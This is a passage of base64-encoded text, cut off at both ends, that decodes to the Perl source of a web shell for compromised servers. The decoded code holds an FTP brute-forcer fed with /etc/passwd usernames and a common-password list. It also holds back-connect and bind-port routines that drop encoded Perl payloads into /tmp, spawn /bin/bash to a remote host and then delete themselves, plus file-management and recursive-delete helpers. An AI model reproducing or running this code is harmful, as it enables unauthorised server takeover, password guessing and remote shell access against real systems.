4iOw0KCSRyZXN1bHQgLj0gICI8L2Zvcm0+IjsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCiMgU2F2ZSBGaWxlDQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQpzdWIgU2F2ZUZpbGUoJCkNCnsNCglteSAkRGF0YT0gc2hpZnQgOw0KCW15ICRGaWxlPSBzaGlmdDsNCgkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kRmlsZTsNCglpZihvcGVuKEZJTEUsICI+JEZpbGUiKSkNCgl7DQoJCWJpbm1vZGUgRklMRTsNCgkJcHJpbnQgRklMRSAkRGF0YTsNCgkJY2xvc2UgRklMRTsNCgkJcmV0dXJuIDE7DQoJfWVsc2UNCgl7DQoJCXJldHVybiAwOw0KCX0NCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQnJ1dGUgRm9yY2VyIEZvcm0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBCcnV0ZUZvcmNlckZvcm0NCnsNCglteSAkcmVzdWx0PSIiOw0KCSRyZXN1bHQgLj0gPDxFTkQ7DQoNCjx0YWJsZT4NCg0KPHRyPg0KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjPGJyPg0KU2ltcGxlIEZUUCBicnV0ZSBmb3JjZXI8YnI+DQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KDQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYnJ1dGVmb3JjZXIiLz4NCjwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPlVzZXI6PGJyPjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InVzZXIiPg0KRU5EDQpjaG9wKCRyZXN1bHQgLj0gYGxlc3MgL2V0Yy9wYXNzd2QgfCBjdXQgLWQ6IC1mMWApOw0KJHJlc3VsdCAuPSA8PCdFTkQnOw0KPC90ZXh0YXJlYT48L3RkPg0KPHRkPg0KDQpQYXNzOjxicj4NCjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InBhc3MiPjEyM3Bhc3MNCjEyMyFAIw0KMTIzYWRtaW4NCjEyM2FiYw0KMTIzNDU2YWRtaW4NCjEyMzQ1NTQzMjENCjEyMzQ0MzIxDQpwYXNzMTIzDQphZG1pbg0KYWRtaW5jcA0KYWRtaW5pc3RyYXRvcg0KbWF0a2hhdQ0KcGFzc2FkbWluDQpwQHNzd29yZA0KcEBzc3cwcmQNCnBhc3N3b3JkDQoxMjM0NTYNCjEyMzQ1NjcNCjEyMzQ1Njc4DQoxMjM0NTY3ODkNCjEyMzQ1Njc4OTANCjExMTExMQ0KMDAwMDAwDQoyMjIyMjINCjMzMzMzMw0KNDQ0NDQ0DQo1NTU1NTUNCjY2NjY2Ng0KNzc3Nzc3DQo4ODg4ODgNCjk5OTk5OQ0KMTIzMTIzDQoyMzQyMzQNCjM0NTM0NQ0KNDU2NDU2DQo1Njc1NjcNCjY3ODY3OA0KNzg5Nzg5DQoxMjMzMjENCjQ1NjY1NA0KNjU0MzIxDQo3NjU0MzIxDQo4NzY1NDMyMQ0KOTg3NjU0MzIxDQowOTg3NjU0MzIxDQphZG1pbjEyMw0KYWRtaW4xMjM0NTYNCmFiY2RlZg0KYWJjYWJjDQohQCMhQCMNCiFAIyQlXg0KIUAjJCVeJiooDQohQCMkJCNAIQ0KYWJjMTIzDQphbmh5ZXVlbQ0KaWxvdmV5b3U8L3RleHRhcmVhPg0KPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQgY29sc3Bhbj0iMiIgYWxpZ249ImNlbnRlciI+DQpTbGVlcDo8c2VsZWN0IG5hbWU9InNsZWVwIj4NCg0KPG9wdGlvbj4wPC9vcHRpb24+DQo8b3B0aW9uPjE8L29wdGlvbj4NCjxvcHRpb24+Mjwvb3B0aW9uPg0KDQo8b3B0aW9uPjM8L29wdGlvbj4NCjwvc2VsZWN0PiANCjxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJzdWJtaXQiIHZhbHVlPSJCcnV0ZSBGb3JjZXIiLz48L3RkPjwvdHI+DQo8L2Zvcm0+DQo8L3RhYmxlPg0KRU5EDQpyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQnJ1dGUgRm9yY2VyDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQnJ1dGVGb3JjZXINCnsNCglteSAkcmVzdWx0PSIiOw0KCSRTZXJ2ZXI9JEVOVnsnU0VSVkVSX0FERFInfTsNCglpZigkaW57J3VzZXInfSBlcSAiIikNCgl7DQoJCSRyZXN1bHQgLj0gJkJydXRlRm9yY2VyRm9ybTsNCgl9ZWxzZQ0KCXsNCgkJdXNlIE5ldDo6RlRQOyANCgkJQHVzZXI9IHNwbGl0KC9cbi8sICRpbnsndXNlcid9KTsNCgkJQHBhc3M9IHNwbGl0KC9cbi8sICRpbnsncGFzcyd9KTsNCgkJY2hvbXAoQHVzZXIpOw0KCQljaG9tcChAcGFzcyk7DQoJCSRyZXN1bHQgLj0gIjxicj48YnI+WytdIFRyeWluZyBicnV0ZSAkU2VydmVyTmFtZTxicj49PT09PT09PT09PT09PT09PT09PT4+Pj4+Pj4+Pj4+Pjw8PDw8PDw8PDw9PT09PT09PT09PT09PT09PT09PTxicj48YnI+XG4iOw0KCQlmb3JlYWNoICR1c2VybmFtZSAoQHVzZXIpDQoJCXsNCgkJCWlmKCEoJHVzZXJuYW1lIGVxICIiKSkNCgkJCXsNCgkJCQlmb3JlYWNoICRwYXNzd29yZCAoQHBhc3MpDQoJCQkJew0KCQkJCQkkZnRwID0gTmV0OjpGVFAtPm5ldygkU2VydmVyKSBvciBkaWUgIkNvdWxkIG5vdCBjb25uZWN0IHRvICRTZXJ2ZXJOYW1lXG4iOyANCgkJCQkJaWYoJGZ0cC0+bG9naW4oIiR1c2VybmFtZSIsIiRwYXNzd29yZCIpKQ0KCQkJCQl7DQoJCQkJCQkkcmVzdWx0IC49ICI8YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0nZnRwOi8vJHVzZXJuYW1lOiRwYXNzd29yZFxAJFNlcnZlcic+WytdIGZ0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXI8L2E+PGJyPlxuIjsNCgkJCQkJCSRmdHAtPnF1aXQoKTsNCgkJCQkJCWJyZWFrOw0KCQkJCQl9DQoJCQkJCWlmKCEoJGlueydzbGVlcCd9IGVxICIwIikpDQoJCQkJCXsNCgkJCQkJCXNsZWVwKGludCgkaW57J3NsZWVwJ30pKTsNCgkJCQkJfQ0KCQkJCQkkZnRwLT5xdWl0KCk7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJCSRyZXN1bHQgLj0gIlxuPGJyPj09PT09PT09PT0+Pj4+Pj4+Pj4+IEZpbmlzaGVkIDw8PDw8PDw8PDw9PT09PT09PT09PGJyPlxuIjsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEJhY2tjb25uZWN0IEZvcm0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBCYWNrQmluZEZvcm0NCnsNCglyZXR1cm4gPDxFTkQ7DQoJPGJyPjxicj4NCg0KCTx0YWJsZT4NCgk8dHI+DQoJPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQoJPHRkPkJhY2tDb25uZWN0OiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYmFja2JpbmQiPjwvdGQ+DQoJPHRkPiBIb3N0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIG5hbWU9ImNsaWVudGFkZHIiIHZhbHVlPSIkRU5WeydSRU1PVEVfQUREUid9Ij4NCgkgUG9ydDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjciIG5hbWU9ImNsaWVudHBvcnQiIHZhbHVlPSI4MCIgb25rZXl1cD0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2JhJykuaW5uZXJIVE1MPXRoaXMudmFsdWU7Ij48L3RkPg0KDQoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkNvbm5lY3QiPjwvdGQ+DQoJPC9mb3JtPg0KCTwvdHI+DQoJPHRyPg0KCTx0ZCBjb2xzcGFuPTM+PGZvbnQgY29sb3I9I0ZGRkZGRj5bK10gQ2xpZW50IGxpc3RlbiBiZWZvcmUgY29ubmVjdCBiYWNrIQ0KCTxicj5bK10gVHJ5IGNoZWNrIHlvdXIgUG9ydCB3aXRoIDxhIHRhcmdldD0iX2JsYW5rIiBocmVmPSJodHRwOi8vd3d3LmNhbnlvdXNlZW1lLm9yZy8iPmh0dHA6Ly93d3cuY2FueW91c2VlbWUub3JnLzwvYT4NCgk8YnI+WytdIENsaWVudCBsaXN0ZW4gd2l0aCBjb21tYW5kOiA8cnVuPm5jIC12diAtbCAtcCA8c3BhbiBpZD0iYmEiPjgwPC9zcGFuPjwvcnVuPjwvZm9udD48L3RkPg0KDQoJPC90cj4NCgk8L3RhYmxlPg0KDQoJPGJyPjxicj4NCgk8dGFibGU+DQoJPHRyPg0KCTxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KCTx0ZD5CaW5kIFBvcnQ6IDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJiYWNrYmluZCI+PC90ZD4NCg0KCTx0ZD4gUG9ydDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjE1IiBuYW1lPSJjbGllbnRwb3J0IiB2YWx1ZT0iMTQxMiIgb25rZXl1cD0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2JpJykuaW5uZXJIVE1MPXRoaXMudmFsdWU7Ij4NCg0KCSBQYXNzd29yZDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjE1IiBuYW1lPSJiaW5kcGFzcyIgdmFsdWU9IlRISUVVR0lBQlVPTiI+PC90ZD4NCgk8dGQ+PGlucHV0IG5hbWU9InMiIGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0iQmluZCI+PC90ZD4NCgk8L2Zvcm0+DQoJPC90cj4NCgk8dHI+DQoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBDaHVjIG5hbmcgY2h1YSBkYyB0ZXN0IQ0KCTxicj5bK10gVHJ5IGNvbW1hbmQ6IDxydW4+bmMgJEVOVnsnU0VSVkVSX0FERFInfSA8c3BhbiBpZD0iYmkiPjE0MTI8L3NwYW4+PC9ydW4+PC9mb250PjwvdGQ+DQoNCgk8L3RyPg0KCTwvdGFibGU+PGJyPg0KRU5EDQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEJhY2tjb25uZWN0IHVzZSBwZXJsDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQmFja0JpbmQNCnsNCgl1c2UgTUlNRTo6QmFzZTY0Ow0KCXVzZSBTb2NrZXQ7CQ0KCSRiYWNrcGVybD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUXAxYzJVZ1NVODZPbE52WTJ0bGREc05DaVJUYUdWc2JBazlJQ0l2WW1sdUwySmhjMmdpT3cwS0pFRlNSME05UUVGU1IxWTdEUXAxYzJVZ1UyOWphMlYwT3cwS2RYTmxJRVpwYkdWSVlXNWtiR1U3RFFwemIyTnJaWFFvVTA5RFMwVlVMQ0JRUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z1oyVjBjSEp2ZEc5aWVXNWhiV1VvSW5SamNDSXBLU0J2Y2lCa2FXVWdjSEpwYm5RZ0lsc3RYU0JWYm1GaWJHVWdkRzhnVW1WemIyeDJaU0JJYjNOMFhHNGlPdzBLWTI5dWJtVmpkQ2hUVDBOTFJWUXNJSE52WTJ0aFpHUnlYMmx1S0NSQlVrZFdXekZkTENCcGJtVjBYMkYwYjI0b0pFRlNSMVpiTUYwcEtTa2diM0lnWkdsbElIQnlhVzUwSUNKYkxWMGdWVzVoWW14bElIUnZJRU52Ym01bFkzUWdTRzl6ZEZ4dUlqc05DbkJ5YVc1MElDSkRiMjV1WldOMFpXUWhJanNOQ2xOUFEwdEZWQzArWVhWMGIyWnNkWE5vS0NrN0RRcHZjR1Z1S0ZOVVJFbE9MQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVQxVlVMQ0krSmxOUFEwdEZWQ0lwT3cwS2IzQmxiaWhUVkVSRlVsSXNJajRtVTA5RFMwVlVJaWs3RFFwd2NtbHVkQ0FpTFMwOVBTQkRiMjV1WldOMFpXUWdRbUZqYTJSdmIzSWdQVDB0TFNBZ1hHNWNiaUk3RFFwemVYTjBaVzBvSW5WdWMyVjBJRWhKVTFSR1NVeEZPeUIxYm5ObGRDQlRRVlpGU0VsVFZDQTdaV05vYnlBbld5dGRJRk41YzNSbGJXbHVabTg2SUNjN0lIVnVZVzFsSUMxaE8yVmphRzg3WldOb2J5QW5XeXRkSUZWelpYSnBibVp2T2lBbk95QnBaRHRsWTJodk8yVmphRzhnSjFzclhTQkVhWEpsWTNSdmNuazZJQ2M3SUhCM1pEdGxZMmh2T3lCbFkyaHZJQ2RiSzEwZ1UyaGxiR3c2SUNjN0pGTm9aV3hzSWlrN0RRcGpiRzl6WlNCVFQwTkxSVlE3IjsNCgkkYmluZHBlcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKRUZTUjBNOVFFRlNSMVk3RFFva2NHOXlkQWs5SUNSQlVrZFdXekJkT3cwS0pIQnliM1J2Q1QwZ1oyVjBjSEp2ZEc5aWVXNWhiV1VvSjNSamNDY3BPdzBLSkZOb1pXeHNDVDBnSWk5aWFXNHZZbUZ6YUNJN0RRcHpiMk5yWlhRb1UwVlNWa1ZTTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dKSEJ5YjNSdktXOXlJR1JwWlNBaWMyOWphMlYwT2lRaElqc05Dbk5sZEhOdlkydHZjSFFvVTBWU1ZrVlNMQ0JUVDB4ZlUwOURTMFZVTENCVFQxOVNSVlZUUlVGRVJGSXNJSEJoWTJzb0ltd2lMQ0F4S1NsdmNpQmthV1VnSW5ObGRITnZZMnR2Y0hRNklDUWhJanNOQ21KcGJtUW9VMFZTVmtWU0xDQnpiMk5yWVdSa2NsOXBiaWdrY0c5eWRDd2dTVTVCUkVSU1gwRk9XU2twYjNJZ1pHbGxJQ0ppYVc1a09pQWtJU0k3RFFwc2FYTjBaVzRvVTBWU1ZrVlNMQ0JUVDAxQldFTlBUazRwQ1FsdmNpQmthV1VnSW14cGMzUmxiam9nSkNFaU93MEtabTl5S0RzZ0pIQmhaR1J5SUQwZ1lXTmpaWEIwS0VOTVNVVk9WQ3dnVTBWU1ZrVlNLVHNnWTJ4dmMyVWdRMHhKUlU1VUtRMEtldzBLQ1c5d1pXNG9VMVJFU1U0c0lDSStKa05NU1VWT1ZDSXBPdzBLQ1c5d1pXNG9VMVJFVDFWVUxDQWlQaVpEVEVsRlRsUWlLVHNOQ2dsdmNHVnVLRk5VUkVWU1Vpd2dJajRtUTB4SlJVNVVJaWs3RFFvSmMzbHpkR1Z0S0NKMWJuTmxkQ0JJU1ZOVVJrbE1SVHNnZFc1elpYUWdVMEZXUlVoSlUxUWdPMlZqYUc4Z0oxc3JYU0JUZVhOMFpXMXBibVp2T2lBbk95QjFibUZ0WlNBdFlUdGxZMmh2TzJWamFHOGdKMXNyWFNCVmMyVnlhVzVtYnpvZ0p6c2dhV1E3WldOb2J6dGxZMmh2SUNkYksxMGdSR2x5WldOMGIzSjVPaUFuT3lCd2QyUTdaV05vYnpzZ1pXTm9ieUFuV3l0ZElGTm9aV3hzT2lBbk95UlRhR1ZzYkNJcE93MEtDV05zYjNObEtGTlVSRWxPS1RzTkNnbGpiRzl6WlNoVFZFUlBWVlFwT3cwS0NXTnNiM05sS0ZOVVJFVlNVaWs3RFFwOURRbz0iOw0KDQoJJENsaWVudEFkZHIgPSAkaW57J2NsaWVudGFkZHInfTsNCgkkQ2xpZW50UG9ydCA9IGludCgkaW57J2NsaWVudHBvcnQnfSk7DQoJaWYoJENsaWVudFBvcnQgZXEgMCkNCgl7DQoJCXJldHVybiAmQmFja0JpbmRGb3JtOw0KCX1lbHNpZighJENsaWVudEFkZHIgZXEgIiIpDQoJew0KCQkkRGF0YT1kZWNvZGVfYmFzZTY0KCRiYWNrcGVybCk7DQoJCWlmKC13ICIvdG1wLyIpDQoJCXsNCgkJCSRGaWxlPSIvdG1wL2JhY2tjb25uZWN0LnBsIjsJDQoJCX1lbHNlDQoJCXsNCgkJCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiJiYWNrY29ubmVjdC5wbCI7DQoJCX0NCgkJb3BlbihGSUxFLCAiPiRGaWxlIik7DQoJCXByaW50IEZJTEUgJERhdGE7DQoJCWNsb3NlIEZJTEU7DQoJCXN5c3RlbSgicGVybCBiYWNrY29ubmVjdC5wbCAkQ2xpZW50QWRkciAkQ2xpZW50UG9ydCIpOw0KCQl1bmxpbmsoJEZpbGUpOw0KCQlleGl0IDA7DQoJfWVsc2UNCgl7DQoJCSREYXRhPWRlY29kZV9iYXNlNjQoJGJpbmRwZXJsKTsNCgkJaWYoLXcgIi90bXAiKQ0KCQl7DQoJCQkkRmlsZT0iL3RtcC9iaW5kcG9ydC5wbCI7CQ0KCQl9ZWxzZQ0KCQl7DQoJCQkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4iYmluZHBvcnQucGwiOw0KCQl9DQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOw0KCQlwcmludCBGSUxFICREYXRhOw0KCQljbG9zZSBGSUxFOw0KCQlzeXN0ZW0oInBlcmwgYmluZHBvcnQucGwgJENsaWVudFBvcnQiKTsNCgkJdW5saW5rKCRGaWxlKTsNCgkJZXhpdCAwOw0KCX0NCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgIEFycmF5IExpc3QgRGlyZWN0b3J5DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUm1EaXIoJCkgDQp7DQoJbXkgJGRpciA9IHNoaWZ0Ow0KICAgIGlmKG9wZW5kaXIoRElSLCRkaXIpKQ0KCXsNCgkJd2hpbGUoJGZpbGUgPSByZWFkZGlyKERJUikpDQoJCXsNCgkJCWlmKCgkZmlsZSBuZSAiLiIpICYmICgkZmlsZSBuZSAiLi4iKSkNCgkJCXsNCgkJCQkkZmlsZT0gJGRpci4kUGF0aFNlcC4kZmlsZTsNCgkJCQlpZigtZCAkZmlsZSkNCgkJCQl7DQoJCQkJCSZSbURpcigkZmlsZSk7DQoJCQkJfQ0KCQkJCWVsc2UNCgkJCQl7DQoJCQkJCXVubGluaygkZmlsZSk7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJCWNsb3NlZGlyKERJUik7DQoJfQ0KCWlmKCFybWRpcigkZGlyKSkNCgl7DQoJCQ0KCX0NCn0NCnN1YiBGaWxlT3duZXIoJCkNCnsNCglteSAkZmlsZSA9IHNoaWZ0Ow0KCWlmKC1lICRmaWxlKQ0KCXsNCgkJKCR1aWQsJGdpZCkgPSAoc3RhdCgkZmlsZSkpWzQsNV07DQoJCWlmKCRXaW5OVCkNCgkJew0KCQkJcmV0dXJuICI/Pz8iOw0KCQl9DQoJCWVsc2UNCgkJew0KCQkJJG5hbWU9Z2V0cHd1aWQoJHVpZCk7DQoJCQkkZ3JvdXA9Z2V0Z3JnaWQoJGdpZCk7DQoJCQlyZXR1cm4gJG5hbWUuIi8iLiRncm91cDsNCgkJfQ0KCX0NCglyZXR1cm4gIj8/PyI7DQp9DQpzdWIgUGFyZW50Rm9sZGVyKCQpDQp7DQoJbXkgJHBhdGggPSBzaGlmdDsNCglteSAkQ29tbSA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkIC4uIi4kQ21kU2VwLiRDbWRQd2Q7DQoJY2hvcCgkcGF0aCA9IGAkQ29tbWApOw0KCXJldHVybiAkcGF0aDsNCn0NCnN1YiBGaWxlUGVybXMoJCkNCnsNCglteSAkZmlsZSA9IHNoaWZ0Ow0KCW15ICR1ciA9ICItIjsNCglteSAkdXcgPSAiLSI7DQoJaWYoLWUgJGZpbGUpDQoJew0KCQlpZigkV2luTlQpDQoJCXsNCgkJCWlmKC1yICRmaWxlKXsgJHVyID0gInIiOyB9DQoJCQlpZigtdyAkZmlsZSl7ICR1dyA9ICJ3IjsgfQ0KCQkJcmV0dXJuICR1ciAuICIgLyAiIC4gJHV3Ow0KCQl9ZWxzZQ0KCQl7DQoJCQkkbW9kZT0oc3RhdCgkZmlsZSkpWzJdOw0KCQkJJHJlc3VsdCA9IHNwcmludGYoIiUwNG8iLCAkbW9kZSAmIDA3Nzc3KTsNCgkJCXJldHVybiAkcmVzdWx0Ow0KCQl9DQoJfQ0KCXJldHVybiAiMDAwMCI7DQp9DQpzdWIgRmlsZUxhc3RNb2RpZmllZCgkKQ0Kew0KCW15ICRmaWxlID0gc2hpZnQ7DQoJaWYoLWUgJGZpbGUpDQoJew0KCQkoJGxhKSA9IChzdGF0KCRmaWxlKSlbOV07DQoJCSgkZCwkbSwkeSwkaCwkaSkgPSAobG9jYWx0aW1lKCRsYSkpWzMsNCw1LDIsMV07DQoJCSR5ID0gJHkgKyAxOTAwOw0KCQlAbW9udGggPSBxdy8xIDIgMyA0IDUgNiA3IDggOSAxMCAxMSAxMi87DQoJCSRsbXRpbWUgPSBzcHJpbnRmKCIlMDJkLyVzLyU0ZCAlMDJkOiUwMmQiLCRkLCRtb250aFskbV0sJHksJGgsJGkpOw0KCQlyZXR1cm4gJGxtdGltZTsNCgl9DQoJcmV0dXJuICI/Pz8iOw0KfQ0Kc3ViIEZpbGVTaXplKCQpDQp7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCglpZigtZiAkZmlsZSkNCgl7DQoJCXJldHVybiAtcyAkZmlsZTsNCgl9DQoJcmV0dXJuICIwIjsNCg0KfQ0Kc3ViIFBhcnNlRmlsZVNpemUoJCkNCnsNCglteSAkc2l6ZSA9IHNoaWZ0Ow0KCWlmKCRzaXplIDw9IDEwMjQpDQoJew0KCQlyZXR1cm4gJHNpemUuICIgQiI7DQoJfQ0KCWVsc2UNCgl7DQoJCWlmKCRzaXplIDw9IDEwMjQqMTAyNCkgDQoJCXsNCgkJCSRzaXplID0gc3ByaW50ZigiJS4wMmYiLCRzaXplIC8gMTAyNCk7DQoJCQlyZXR1cm4gJHNpemUuIiBLQiI7DQoJCX0NCgkJZWxzZSANCgkJew0KCQkJJHNpemUgPSBzcHJpbnRmKCIlLjJmIiwkc2l6ZSAvIDEwMjQgLyAxMDI0KTsNCgkJCXJldHVybiAkc2l6ZS4iIE1CIjsNCgkJfQ0KCX0NCn0NCnN1YiB0cmltKCQpDQp7DQoJbXkgJHN0cmluZyA9IHNoaWZ0Ow0KCSRzdHJpbmcgPX4gcy9eXHMrLy87DQoJJHN0cmluZyA9fiBzL1xzKyQvLzsNCglyZXR1cm4gJHN0cmluZzsNCn0NCnN1YiBBZGRTbGFzaGVzKCQpDQp7DQoJbXkgJHN0cmluZyA9IHNoaWZ0Ow0KCSRzdHJpbmc9fiBzL1xcL1xcXFwvZzsNCglyZXR1cm4gJHN0cmluZzsNCn0NCnN1YiBMaXN0RGlyDQp7DQoJbXkgJHBhdGggPSAkQ3VycmVudERpci4kUGF0aFNlcDsNCgkkcGF0aD1+IHMvXFxcXC9cXC9nOw0KCW15ICRyZXN1bHQgPSAiPGZvcm0gbmFtZT0nZicgYWN0aW9uPSckU2NyaXB0TG9jYXRpb24nPjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+UGF0aDogWyAiLiZBZGRMaW5rRGlyKCJndWkiKS4iIF0gPC9zcGFuPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdkJyBzaXplPSc0MCcgdmFsdWU9JyRDdXJyZW50RGlyJyAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2EnIHZhbHVlPSdndWknPjxpbnB1dCBjbGFzcz0nc3VibWl0JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdDaGFuZ2UnPjwvZm9ybT4iOw0KCWlmKC1kICRwYXRoKQ0KCXsNCgkJbXkgQGZuYW1lID0gKCk7DQoJCW15IEBkbmFtZSA9ICgpOw0KCQlpZihvcGVuZGlyKERJUiwkcGF0aCkpDQoJCXsNCgkJCXdoaWxlKCRmaWxlID0gcmVhZGRpcihESVIpKQ0KCQkJew0KCQkJCSRmPSRwYXRoLiRmaWxlOw0KCQkJCWlmKC1kICRmKQ0KCQkJCXsNCgkJCQkJcHVzaChAZG5hbWUsJGZpbGUpOw0KCQkJCX0NCgkJCQllbHNlDQoJCQkJew0KCQkJCQlwdXNoKEBmbmFtZSwkZmlsZSk7DQoJCQkJfQ0KCQkJfQ0KCQkJY2xvc2VkaXIoRElSKTsNCgkJfQ0KCQlAZm5hbWUgPSBzb3J0IHsgbGMoJGEpIGNtcCBsYygkYikgfSBAZm5hbWU7DQoJCUBkbmFtZSA9IHNvcnQgeyBsYygkYSkgY21wIGxjKCRiKSB9IEBkbmFtZTsNCgkJJHJlc3VsdCAuPSAiPGRpdj48dGFibGUgd2lkdGg9JzkwJScgY2xhc3M9J2xpc3RkaXInPg0KDQoJCTx0ciBzdHlsZT0nYmFja2dyb3VuZC1jb2xvcjogIzNlM2UzZSc+PHRoPkZpbGUgTmFtZTwvdGg+DQoJCTx0aCBzdHlsZT0nd2lkdGg6MTAwcHg7Jz5GaWxlIFNpemU8L3RoPg0KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+T3duZXI8L3RoPg0KCQk8dGggc3R5bGU9J3dpZHRoOjEwMHB4Oyc+UGVybWlzc2lvbjwvdGg+DQoJCTx0aCBzdHlsZT0nd2lkdGg6MTUwcHg7Jz5MYXN0IE1vZGlmaWVkPC90aD4NCgkJPHRoIHN0eWxlPSd3aWR0aDoyNjBweDsnPkFjdGlvbjwvdGg+PC90cj4iOw0KCQlteSAkc3R5bGU9ImxpbmUiOw0KCQlteSAkaT0wOw0KCQlmb3JlYWNoIG15ICRkIChAZG5hbWUpDQoJCXsNCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7DQoJCQkkZCA9ICZ0cmltKCRkKTsNCgkJCSRkaXJuYW1lPSRkOw0KCQkJaWYoJGQgZXEgIi4uIikgDQoJCQl7DQoJCQkJJGQgPSAmUGFyZW50Rm9sZGVyKCRwYXRoKTsNCgkJCX0NCgkJCWVsc2lmKCRkIGVxICIuIikgDQoJCQl7DQoJCQkJJGQgPSAkcGF0aDsNCgkJCX0NCgkJCWVsc2UgDQoJCQl7DQoJCQkJJGQgPSAkcGF0aC4kZDsNCgkJCX0NCgkJCSRyZXN1bHQgLj0gIjx0ciBjbGFzcz0nJHN0e